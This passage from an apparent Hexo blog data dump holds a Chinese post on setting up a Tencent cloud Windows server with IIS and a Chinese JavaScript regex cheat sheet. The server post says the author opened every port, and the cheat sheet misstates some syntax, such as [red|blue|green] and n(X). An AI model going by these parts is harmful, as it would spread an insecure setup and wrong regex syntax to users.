n.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>前段时间看到腾讯云服务器对学生有优惠，而且很大一坨，就买了一个回来研究，废话不多说，开搞咯~</p>\n<h2 id=\"买服务器\"><a href=\"#买服务器\" class=\"headerlink\" title=\"买服务器\"></a>买服务器</h2><ul>\n<li>首先你得入手一个服务器，学生特惠8元/月，还有一块的，不过难抢，机不可失，失不再来，毕业你就没机会了，<blockquote>\n<p>地方的话就近原则，访问应该会快点</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"配置服务器\"><a href=\"#配置服务器\" class=\"headerlink\" title=\"配置服务器\"></a>配置服务器</h2><ul>\n<li><p>我这里是配了 Windows2012 64位系统，1核1G内存</p>\n<blockquote>\n<p>Linux的系统，听说比较好用，但目前我还没用过，Windows我觉得也还行</p>\n</blockquote>\n</li>\n<li><p>进入云服务器控制中心，打开安全组，按需求开放端口</p>\n<blockquote>\n<p>我是开放了全部端口的，你可以随意</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"远程连接服务器\"><a href=\"#远程连接服务器\" class=\"headerlink\" title=\"远程连接服务器\"></a>远程连接服务器</h2><ul>\n<li>在命令行输入 mstcs 输入你的电脑信息，邮箱查看电脑的默认密码，请及时修改，账号一般默认是administritor，不是的话请先确认</li>\n</ul>\n<h2 id=\"设置主页\"><a href=\"#设置主页\" class=\"headerlink\" title=\"设置主页\"></a>设置主页</h2><ul>\n<li><p>进入云服务器之后，打开服务器管理器，[新建角色] =&gt; [基于角色和功能的安装] =&gt; [从服务器池中选择服务器] =&gt; [web服务器应用程序开发，勾选.net4.5 和CGI] =&gt; [IIS可承载的web核心] =&gt; [确认安装]</p>\n<blockquote>\n<p>中间如果碰到什么问题，仔细看流程，如果还报错，我也帮不了你了</p>\n</blockquote>\n</li>\n<li><p>安装完成之后就可以通过ip地址访问到一个有IIS提示的蓝色网站，该项目的默认地址是 C:inetpub/wwwroot 你想更改的话可以直接拿你的html（htm）文件放在该目录下，一定要保证根目录有个html（htm）文件</p>\n</li>\n</ul>\n<h2 id=\"设置分页\"><a href=\"#设置分页\" class=\"headerlink\" title=\"设置分页\"></a>设置分页</h2><ul>\n<li>如果你想通过类似 localhost/about 路径访问你的about项目，你可以在IIS管理的的 default website添加你的项目路径<blockquote>\n<p>右键 添加应用程序，将该项目的物理路径填上去就可以了 </p>\n</blockquote>\n</li>\n</ul>\n"},{"title":"正则表达式","date":"2018-04-04T03:45:43.000Z","_content":"# 正则的介绍\n\n  正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为\"元字符\"）。\n  正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。\n  正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。\n\n## 修饰符\n\n### i\n\n  执行对大小写不敏感的匹配。\n\n### g\n\n  执行全局匹配（所有，而不是找到一个后停止匹配）。\n\n### m\n\n  执行多行匹配。\n\n## 方括号\n\n### [abc]\n\n  查找方括号之间的任何字符。\n\n### [^abc]\n\n  查找任何不在方括号内的字符。\n\n### [0-9]\n\n  查找任何从 0 至 9 的数字。\n\n### [a-z]\n\n  查找任何从小写 a 到 z 的字符。\n\n### [A-Z]\n\n  查找任何从大写 A 到 Z 的字符。\n\n### [A-z]\n\n  查找任何从大写 A 到小写 z 的字符。\n\n### [adgk]\n\n  查找括号中给定的字符集。\n\n### [^adgk]\n\n  查找除括号内之外的所有字符。\n\n### [red|blue|green]\n\n  查找任何指定的选项。\n\n## 元字符\n\n### '.'\n\n  查找单个字符，除了换行符和结束符。\n\n### \\w\n\n  查找单词字符。\n\n### \\W\n\n  查找非单词字符。\n\n### \\d\n\n  查找数字。\n\n### \\D\n\n  查找非数字。\n\n### \\s\n\n  查找空白字符。\n\n### \\S\n\n  查找非空白字符。\n\n### \\b\n\n  匹配单词边界。\n\n### \\B\n\n  匹配非单词边界。\n\n### \\0\n\n  查找null字符。\n\n### \\n\n\n  查找换行符。\n\n### \\f\n\n  查找换页符。\n\n### \\r\n\n  查找回车符。\n\n### \\t\n\n  查找制表符。\n\n### \\v\n\n  查找垂直制表符。\n\n### \\xxx\n\n  查找以八进制 xxx 规定的字符。\n\n### \\xdd\n\n  查找以十六进制 dd 规定的字符。\n\n### \\uxxxx\n\n  查找以十六进制 xxxx 规定的 Uicode 字符。\n\n## 量词\n\n### n+\n\n  匹配任何包含至少一个 n 的字符串。\n  > eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。\n\n### n*\n\n  匹配任何包含零个或多个 n 的字符串。\n  > eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。\n\n### n？\n\n  匹配任何包含零个或一个 n 的字符串。\n  > eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。\n\n### n(X)\n\n  匹配包含 X个 n 的序列的字符串。\n  > eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。\n\n### n{X,}\n\n  X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。\n  > /a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。\n\n### n{X, Y}\n\n  n 出现至少 X 次，至多 Y 次。\n  > /a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。\n\n### n$\n\n  匹配任何以 n 结尾的字符串。\n\n### ^n\n\n  匹配任何以 n 开头的字符串。\n\n### ?=n\n\n  匹配任何其后紧接指定 n 的字符串。\n\n### ?!n\n\n  匹配任何其后没有指定 n 的字符串。\n\n## RegExp 对象方法\n\n### compile\n\n  编译正则表达式。\n\n### exec\n\n  检索字符串中指定的值。返回找到的值，并确定其位置。\n\n### test\n\n  检索字符串中指定的值，返回 true or false。\n\n## String 对象的正则方法\n\n### search\n\n  检索与正则表达式相匹配的值。\n  > eg: str.search(\"blue\") 返回的是 blue 出现的字符下标(大小写敏感)。\n\n### match\n\n  找到一个或者多个正则表达式的匹配。\n  > eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。\n\n### replace\n\n  替换与正则表达式匹配的字串。\n  > eg: str.replace(/blue/g,\"red\") 替换所有 blue 为 red。\n\n### split\n\n  把字符串分割为字符串数组。\n  > string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。\n","source":"_posts/正则表达式.md","raw":"---\ntitle: 正则表达式\ndate: 2018-04-04 11:45:43\ntags: ['正则表达式']\ncategories: 'JS'\n---\n# 正则的介绍\n\n  正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为\"元字符\"）。\n  正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。\n  正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。\n\n## 修饰符\n\n### i\n\n  执行对大小写不敏感的匹配。\n\n### g\n\n  执行全局匹配（所有，而不是找到一个后停止匹配）。\n\n### m\n\n  执行多行匹配。\n\n## 方括号\n\n### [abc]\n\n  查找方括号之间的任何字符。\n\n### [^abc]\n\n  查找任何不在方括号内的字符。\n\n### [0-9]\n\n  查找任何从 0 至 9 的数字。\n\n### [a-z]\n\n  查找任何从小写 a 到 z 的字符。\n\n### [A-Z]\n\n  查找任何从大写 A 到 Z 的字符。\n\n### [A-z]\n\n  查找任何从大写 A 到小写 z 的字符。\n\n### [adgk]\n\n  查找括号中给定的字符集。\n\n### [^adgk]\n\n  查找除括号内之外的所有字符。\n\n### [red|blue|green]\n\n  查找任何指定的选项。\n\n## 元字符\n\n### '.'\n\n  查找单个字符，除了换行符和结束符。\n\n### \\w\n\n  查找单词字符。\n\n### \\W\n\n  查找非单词字符。\n\n### \\d\n\n  查找数字。\n\n### \\D\n\n  查找非数字。\n\n### \\s\n\n  查找空白字符。\n\n### \\S\n\n  查找非空白字符。\n\n### \\b\n\n  匹配单词边界。\n\n### \\B\n\n  匹配非单词边界。\n\n### \\0\n\n  查找null字符。\n\n### \\n\n\n  查找换行符。\n\n### \\f\n\n  查找换页符。\n\n### \\r\n\n  查找回车符。\n\n### \\t\n\n  查找制表符。\n\n### \\v\n\n  查找垂直制表符。\n\n### \\xxx\n\n  查找以八进制 xxx 规定的字符。\n\n### \\xdd\n\n  查找以十六进制 dd 规定的字符。\n\n### \\uxxxx\n\n  查找以十六进制 xxxx 规定的 Uicode 字符。\n\n## 量词\n\n### n+\n\n  匹配任何包含至少一个 n 的字符串。\n  > eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。\n\n### n*\n\n  匹配任何包含零个或多个 n 的字符串。\n  > eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。\n\n### n？\n\n  匹配任何包含零个或一个 n 的字符串。\n  > eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。\n\n### n(X)\n\n  匹配包含 X个 n 的序列的字符串。\n  > eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。\n\n### n{X,}\n\n  X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。\n  > /a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。\n\n### n{X, Y}\n\n  n 出现至少 X 次，至多 Y 次。\n  > /a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。\n\n### n$\n\n  匹配任何以 n 结尾的字符串。\n\n### ^n\n\n  匹配任何以 n 开头的字符串。\n\n### ?=n\n\n  匹配任何其后紧接指定 n 的字符串。\n\n### ?!n\n\n  匹配任何其后没有指定 n 的字符串。\n\n## RegExp 对象方法\n\n### compile\n\n  编译正则表达式。\n\n### exec\n\n  检索字符串中指定的值。返回找到的值，并确定其位置。\n\n### test\n\n  检索字符串中指定的值，返回 true or false。\n\n## String 对象的正则方法\n\n### search\n\n  检索与正则表达式相匹配的值。\n  > eg: str.search(\"blue\") 返回的是 blue 出现的字符下标(大小写敏感)。\n\n### match\n\n  找到一个或者多个正则表达式的匹配。\n  > eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。\n\n### replace\n\n  替换与正则表达式匹配的字串。\n  > eg: str.replace(/blue/g,\"red\") 替换所有 blue 为 red。\n\n### split\n\n  把字符串分割为字符串数组。\n  > string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。\n","slug":"正则表达式","published":1,"updated":"2018-04-04T08:32:06.455Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y70004hvzqhl3gvimif","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"正则的介绍\"><a href=\"#正则的介绍\" class=\"headerlink\" title=\"正则的介绍\"></a>正则的介绍</h1><p>  正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为”元字符”）。<br>  正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。<br>  正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。</p>\n<h2 id=\"修饰符\"><a href=\"#修饰符\" class=\"headerlink\" title=\"修饰符\"></a>修饰符</h2><h3 id=\"i\"><a href=\"#i\" class=\"headerlink\" title=\"i\"></a>i</h3><p>  执行对大小写不敏感的匹配。</p>\n<h3 id=\"g\"><a href=\"#g\" class=\"headerlink\" title=\"g\"></a>g</h3><p>  执行全局匹配（所有，而不是找到一个后停止匹配）。</p>\n<h3 id=\"m\"><a href=\"#m\" class=\"headerlink\" title=\"m\"></a>m</h3><p>  执行多行匹配。</p>\n<h2 id=\"方括号\"><a href=\"#方括号\" class=\"headerlink\" title=\"方括号\"></a>方括号</h2><h3 id=\"abc\"><a href=\"#abc\" class=\"headerlink\" title=\"[abc]\"></a>[abc]</h3><p>  查找方括号之间的任何字符。</p>\n<h3 id=\"abc-1\"><a href=\"#abc-1\" class=\"headerlink\" title=\"[^abc]\"></a>[^abc]</h3><p>  查找任何不在方括号内的字符。</p>\n<h3 id=\"0-9\"><a href=\"#0-9\" class=\"headerlink\" title=\"[0-9]\"></a>[0-9]</h3><p>  查找任何从 0 至 9 的数字。</p>\n<h3 id=\"a-z\"><a href=\"#a-z\" class=\"headerlink\" title=\"[a-z]\"></a>[a-z]</h3><p>  查找任何从小写 a 到 z 的字符。</p>\n<h3 id=\"A-Z\"><a href=\"#A-Z\" class=\"headerlink\" title=\"[A-Z]\"></a>[A-Z]</h3><p>  查找任何从大写 A 到 Z 的字符。</p>\n<h3 id=\"A-z\"><a href=\"#A-z\" class=\"headerlink\" title=\"[A-z]\"></a>[A-z]</h3><p>  查找任何从大写 A 到小写 z 的字符。</p>\n<h3 id=\"adgk\"><a href=\"#adgk\" class=\"headerlink\" title=\"[adgk]\"></a>[adgk]</h3><p>  查找括号中给定的字符集。</p>\n<h3 id=\"adgk-1\"><a href=\"#adgk-1\" class=\"headerlink\" title=\"[^adgk]\"></a>[^adgk]</h3><p>  查找除括号内之外的所有字符。</p>\n<h3 id=\"red-blue-green\"><a href=\"#red-blue-green\" class=\"headerlink\" title=\"[red|blue|green]\"></a>[red|blue|green]</h3><p>  查找任何指定的选项。</p>\n<h2 id=\"元字符\"><a href=\"#元字符\" class=\"headerlink\" title=\"元字符\"></a>元字符</h2><h3 id=\"‘-’\"><a href=\"#‘-’\" class=\"headerlink\" title=\"‘.’\"></a>‘.’</h3><p>  查找单个字符，除了换行符和结束符。</p>\n<h3 id=\"w\"><a href=\"#w\" class=\"headerlink\" title=\"\\w\"></a>\\w</h3><p>  查找单词字符。</p>\n<h3 id=\"W\"><a href=\"#W\" class=\"headerlink\" title=\"\\W\"></a>\\W</h3><p>  查找非单词字符。</p>\n<h3 id=\"d\"><a href=\"#d\" class=\"headerlink\" title=\"\\d\"></a>\\d</h3><p>  查找数字。</p>\n<h3 id=\"D\"><a href=\"#D\" class=\"headerlink\" title=\"\\D\"></a>\\D</h3><p>  查找非数字。</p>\n<h3 id=\"s\"><a href=\"#s\" class=\"headerlink\" title=\"\\s\"></a>\\s</h3><p>  查找空白字符。</p>\n<h3 id=\"S\"><a href=\"#S\" class=\"headerlink\" title=\"\\S\"></a>\\S</h3><p>  查找非空白字符。</p>\n<h3 id=\"b\"><a href=\"#b\" class=\"headerlink\" title=\"\\b\"></a>\\b</h3><p>  匹配单词边界。</p>\n<h3 id=\"B\"><a href=\"#B\" class=\"headerlink\" title=\"\\B\"></a>\\B</h3><p>  匹配非单词边界。</p>\n<h3 id=\"0\"><a href=\"#0\" class=\"headerlink\" title=\"\\0\"></a>\\0</h3><p>  查找null字符。</p>\n<h3 id=\"n\"><a href=\"#n\" class=\"headerlink\" title=\"\\n\"></a>\\n</h3><p>  查找换行符。</p>\n<h3 id=\"f\"><a href=\"#f\" class=\"headerlink\" title=\"\\f\"></a>\\f</h3><p>  查找换页符。</p>\n<h3 id=\"r\"><a href=\"#r\" class=\"headerlink\" title=\"\\r\"></a>\\r</h3><p>  查找回车符。</p>\n<h3 id=\"t\"><a href=\"#t\" class=\"headerlink\" title=\"\\t\"></a>\\t</h3><p>  查找制表符。</p>\n<h3 id=\"v\"><a href=\"#v\" class=\"headerlink\" title=\"\\v\"></a>\\v</h3><p>  查找垂直制表符。</p>\n<h3 id=\"xxx\"><a href=\"#xxx\" class=\"headerlink\" title=\"\\xxx\"></a>\\xxx</h3><p>  查找以八进制 xxx 规定的字符。</p>\n<h3 id=\"xdd\"><a href=\"#xdd\" class=\"headerlink\" title=\"\\xdd\"></a>\\xdd</h3><p>  查找以十六进制 dd 规定的字符。</p>\n<h3 id=\"uxxxx\"><a href=\"#uxxxx\" class=\"headerlink\" title=\"\\uxxxx\"></a>\\uxxxx</h3><p>  查找以十六进制 xxxx 规定的 Uicode 字符。</p>\n<h2 id=\"量词\"><a href=\"#量词\" class=\"headerlink\" title=\"量词\"></a>量词</h2><h3 id=\"n-1\"><a href=\"#n-1\" class=\"headerlink\" title=\"n+\"></a>n+</h3><p>  匹配任何包含至少一个 n 的字符串。</p>\n<blockquote>\n<p>eg: /a+/ 匹配 “candy” 中的 “a”， “caaaaaandy” 中的 “a”。</p>\n</blockquote>\n<h3 id=\"n-2\"><a href=\"#n-2\" class=\"headerlink\" title=\"n*\"></a>n*</h3><p>  匹配任何包含零个或多个 n 的字符串。</p>\n<blockquote>\n<p>eg: /bo*/ 匹配 “a ghost booooed ” 中的 “boooo”，“hell by” 中的 ”b”。</p>\n</blockquote>\n<h3 id=\"n？\"><a href=\"#n？\" class=\"headerlink\" title=\"n？\"></a>n？</h3><p>  匹配任何包含零个或一个 n 的字符串。</p>\n<blockquote>\n<p>eg: /e?le?/ 匹配 “angel” 中的 “el”，“angle” 中的 “le”。</p>\n</blockquote>\n<h3 id=\"n-X\"><a href=\"#n-X\" class=\"headerlink\" title=\"n(X)\"></a>n(X)</h3><p>  匹配包含 X个 n 的序列的字符串。</p>\n<blockquote>\n<p>eg: /a(2)/ 不匹配 “candy” 中的 “a”，但是匹配 “caandy”，“caaandy”。</p>\n</blockquote>\n<h3 id=\"n-X-1\"><a href=\"#n-X-1\" class=\"headerlink\" title=\"n{X,}\"></a>n{X,}</h3><p>  X 是一个正整数，前面的模式 n 连续出现至少 X 次匹配。</p>\n<blockquote>\n<p>/a{2,}/ 不匹配 “candy”，匹配 “caandy” 和 “caaaandy” 中的所有 “a“。</p>\n</blockquote>\n<h3 id=\"n-X-Y\"><a href=\"#n-X-Y\" class=\"headerlink\" title=\"n{X, Y}\"></a>n{X, Y}</h3><p>  n 出现至少 X 次，至多 Y 次。</p>\n<blockquote>\n<p>/a{1,3} 匹配 ”candy“ 的 ”a“，”caandy“ 中的 ”aa“，“caaaandy” 前三个 “a”。</p>\n</blockquote>\n<h3 id=\"n-3\"><a href=\"#n-3\" class=\"headerlink\" title=\"n$\"></a>n$</h3><p>  匹配任何以 n 结尾的字符串。</p>\n<h3 id=\"n-4\"><a href=\"#n-4\" class=\"headerlink\" title=\"^n\"></a>^n</h3><p>  匹配任何以 n 开头的字符串。</p>\n<h3 id=\"n-5\"><a href=\"#n-5\" class=\"headerlink\" title=\"?=n\"></a>?=n</h3><p>  匹配任何其后紧接指定 n 的字符串。</p>\n<h3 id=\"n-6\"><a href=\"#n-6\" class=\"headerlink\" title=\"?!n\"></a>?!n</h3><p>  匹配任何其后没有指定 n 的字符串。</p>\n<h2 id=\"RegExp-对象方法\"><a href=\"#RegExp-对象方法\" class=\"headerlink\" title=\"RegExp 对象方法\"></a>RegExp 对象方法</h2><h3 id=\"compile\"><a href=\"#compile\" class=\"headerlink\" title=\"compile\"></a>compile</h3><p>  编译正则表达式。</p>\n<h3 id=\"exec\"><a href=\"#exec\" class=\"headerlink\" title=\"exec\"></a>exec</h3><p>  检索字符串中指定的值。返回找到的值，并确定其位置。</p>\n<h3 id=\"test\"><a href=\"#test\" class=\"headerlink\" title=\"test\"></a>test</h3><p>  检索字符串中指定的值，返回 true or false。</p>\n<h2 id=\"String-对象的正则方法\"><a href=\"#String-对象的正则方法\" class=\"headerlink\" title=\"String 对象的正则方法\"></a>String 对象的正则方法</h2><h3 id=\"search\"><a href=\"#search\" class=\"headerlink\" title=\"search\"></a>search</h3><p>  检索与正则表达式相匹配的值。</p>\n<blockquote>\n<p>eg: str.search(“blue”) 返回的是 blue 出现的字符下标(大小写敏感)。</p>\n</blockquote>\n<h3 id=\"match\"><a href=\"#match\" class=\"headerlink\" title=\"match\"></a>match</h3><p>  找到一个或者多个正则表达式的匹配。</p>\n<blockquote>\n<p>eg: str.match(/ain/g) 返回所有出现的 ain (大小写敏感)。</p>\n</blockquote>\n<h3 id=\"replace\"><a href=\"#replace\" class=\"headerlink\" title=\"replace\"></a>replace</h3><p>  替换与正则表达式匹配的字串。</p>\n<blockquote>\n<p>eg: str.replace(/blue/g,”red”) 替换所有 blue 为 red。</p>\n</blockquote>\n<h3 id=\"split\"><a href=\"#split\" class=\"headerlink\" title=\"split\"></a>split</h3><p>  把字符串分割为字符串数组。</p>\n<blockquote>\n<p>string.split(separator,limit) 在 separator 指定位置分割, 返回内容不超过 limit 长度。</p>\n</blockquote>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"正则的介绍\"><a href=\"#正则的介绍\" class=\"headerlink\" title=\"正则的介绍\"></a>正则的介绍</h1><p>  正则表达式(Regular Expression)是一种文本模式，包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为”元字符”）。<br>  正则表达式使用单个字符串来描述、匹配一系列匹配某个句法规则的字符串。<br>  正则表达式是烦琐的，但它是强大的，学会之后的应用会让你除了提高效率外，会给你带来绝对的成就感。</p>\n<h2 id=\"修饰符\"><a href=\"#修饰符\" class=\"headerlink\" title=\"修饰符\"></a>修饰符</h2><h3 id=\"i\"><a href=\"#i\" class=\"headerlink\" title=\"i\"></a>i</h3><p>  执行对大小写不敏感的匹配。</p>\n<h3 id=\"g\"><a href=\"#g\" class=\"headerlink\" title=\"g\"></a>g</h3><p>  执行全局匹配（所有，而不是找到一个后停止匹配）。</p>\n<h3 id=\"m\"><a href=\"#m\" class=\"headerlink\" title=\"m\"></a>m</h3><p>  执行多行匹配。</p>\n<h2 id=\"方括号\"><a href=\"#方括号\" class=\"headerlink\" title=\"方括号\"></a>方括号</h2><h3 id=\"abc\"><a href=\"#abc\" class=\"headerlink\" title=\"[abc]\"></a>[abc]</h3><p>  查找方括号之间的任何字符。</p>\n<h3 id=\"abc-1\"><a href=\"#abc-1\" class=\"headerlink\" title=\"[^abc]\"></a>[^abc]</h3><p>  查找任何不在方括号内的字符。</p>\n<h3 id=\"0-9\"><a href=\"#0-9\" class=\"headerlink\" title=\"[0-9]\"></a>[0-9]</h3><p>  查找任何从 0 至 9 的数字。</p>\n<h3 id=\"a-z\"><a href=\"#a-z\" class=\"headerlink\" title=\"[a-z]\"></a>[a-z]</h3><p>  查找任何从小写 a 到 z 的字符。</p>\n<h3 id=\"A-Z\"><a href=\"#A-Z\" class=\"headerlink\" title=\"[A-Z]\"></a>[A-Z]</h3><p>  查找任何从大写 A 到 Z 